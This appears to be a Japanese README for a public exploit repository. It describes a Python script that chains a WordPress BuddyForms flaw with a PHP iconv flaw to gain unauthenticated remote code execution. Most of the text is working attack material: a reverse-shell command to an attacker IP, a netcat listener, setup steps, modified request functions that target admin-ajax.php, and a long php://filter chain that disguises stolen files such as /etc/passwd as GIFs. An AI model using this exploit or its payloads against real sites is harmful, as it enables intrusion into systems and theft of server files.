
CVE-2023-26326(WordPress BuddyForms)とCVE-2024-2961を連鎖させ、PHP 8+環境でphp://filterを介して認証されていないリモートコード実行を達成するためのPythonエクスプロイト。
python exploit.py "<TARGET_URL>/wp-admin/admin-ajax.php" 'bash -c "bash -i >& /dev/tcp/<ATTACKER_IP>/<ATTACKER_PORT> 0>&1"'
もともと、CVE-2023–26326 を悪用するには、デシリアライゼーションの脆弱性としてガジェットチェーンが必要でした。この手法は PHP 8+ で動作する新しい WordPress サイトではもはや使用できません。しかし、CVE-2024-2961](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1) と組み合わせることで、phar:// の代わりに php://filter を通じてエクスプロイトが可能になります。
このエクスプロイトは、cnext-exploit.py スクリプトを改造して作成されました。CVE-2023-26326 に必要な変更を加えており、詳細は 変更内容 に記載されています。
git clone https://github.com/omarelshopky/exploit_cve-2023-26326_using_cve-2024-2961.git
cd exploit_cve-2023–26326_using_cve-2024-2961
python3 -m venv venv
source venv/bin/activate
pip install -r requirements.txt
<ATTACKER_PORT> で netcat リスナーを起動します:nc -lvnp <ATTACKER_PORT>
python exploit.py "<TARGET_URL>/wp-admin/admin-ajax.php" 'bash -c "bash -i >& /dev/tcp/<ATTACKER_IP>/<ATTACKER_PORT> 0>&1"'
エクスプロイト実行のスクリーンショット
リバースシェルキャッチのスクリーンショット
CVE-2024-2961 のエクスプロイトの核となるアイデアはそのまま保持しましたが、フィルターチェーンをサイトに送信し、サーバーからファイルをダウンロードするために修正が必要でした。
元のエクスプロイトでは、send 関数を使用してサーバーにパスを送信していました:
def send(self, path: str) -> Response:
return self.session.post(self.url, data={"file": path})
WordPress と BuddyForms の場合、デフォルトでは /wp-admin/admin-ajax.php への POST リクエストを介して対話が行われ、ボディデータには action=upload_image_from_url&url=<INJECT_POINT>&id=1&accepted_files=image/gif が含まれます。url パラメータが、フィルターチェーンをサーバーに送信するためのインジェクションポイントとして機能します。これにより、send 関数は以下のように修正されました:
def send(self, path: str) -> Response:
return self.session.post(self.url, data={
"action" : "upload_image_from_url",
"url" : urllib.parse.quote_plus(path),
"id" : "1",
"accepted_files" : "image/gif"
})
元のエクスプロイトには、サーバーからファイルをダウンロードするための download 関数がありました。元のエクスプロイトで使用されているバージョンは以下の通りです:
def download(self, path: str) -> bytes:
path = f"php://filter/convert.base64-encode/resource={path}"
response = self.send(path)
data = response.re.search(b"File contents: (.*)", flags=re.S).group(1)
return base64.decode(data)
これを BuddyForms に適応するために、画像を URL からアップロードするハンドラである buddyforms_upload_image_from_url 関数を分析します。この関数は file_get_contents を使用し、getimagesize() でファイルタイプをチェックし、その後内容を wp-content/uploads ディレクトリに保存します。これにより、php://filter を悪用してローカルファイルを読み取り、アップロードディレクトリに保存して URL 経由でアクセス可能にすることができます。ただし、ファイルの先頭に GIF89a を付加して GIF として偽装することで、ファイルチェックをバイパスする必要があります。これはフィルターチェーンを使用して実現でき、wrapwrap ツールで必要なチェーンを生成できます:
git clone https://github.com/ambionics/wrapwrap.git
cd wrapwrap
./wrapwrap.py /etc/passwd 'GIF89a' '' 1000
wrapwrap を使用したフィルターチェーンの生成
この生成されたフィルターチェーンは、元のスクリプトで使用されていた base64 エンコードの代わりに使用します。また、応答からアップロードされたファイルのパスを抽出する形式も、JSON 形式("response" 属性にファイルパスが含まれる)に合わせて更新する必要があります。
{"status":"OK","response":"http:\/\/victim.site\/wp-content\/uploads\/2025\/02\/1-106.png","attachment_id":261}
{"status":"FAILED","response":"File type is not allowed."}
なお、エクスプロイトでファイル内容を使用する前に、プリフィクス GIF89a を削除する必要があります。これにより、以下の修正された download 関数が得られます:
def download(self, path: str) -> bytes:
# ファイルタイプチェックを getimagesize() でバイパスするため、プリフィクス "GIF89a" を追加
path = f"php://filter/convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.base64-decode/resource={path}"
response_data = self.send(path).json()
if response_data == "FAILED":
print(f"[-] Unable to download files, error message: {response_data['response']}")
exit(0)
file_path = response_data["response"]
# プリフィクス "GIF89a" を削除
return self.session.get(file_path).content[6:]
libc.so.6 のダウンロードフィルターチェーンではバイナリが処理中に変更される可能性があるため、サーバーから libc.so.6 ファイルをダウンロードしても正常に動作しない可能性があることに注意してください。代わりに、正しいファイルをエクスプロイトのルートディレクトリに配置してください。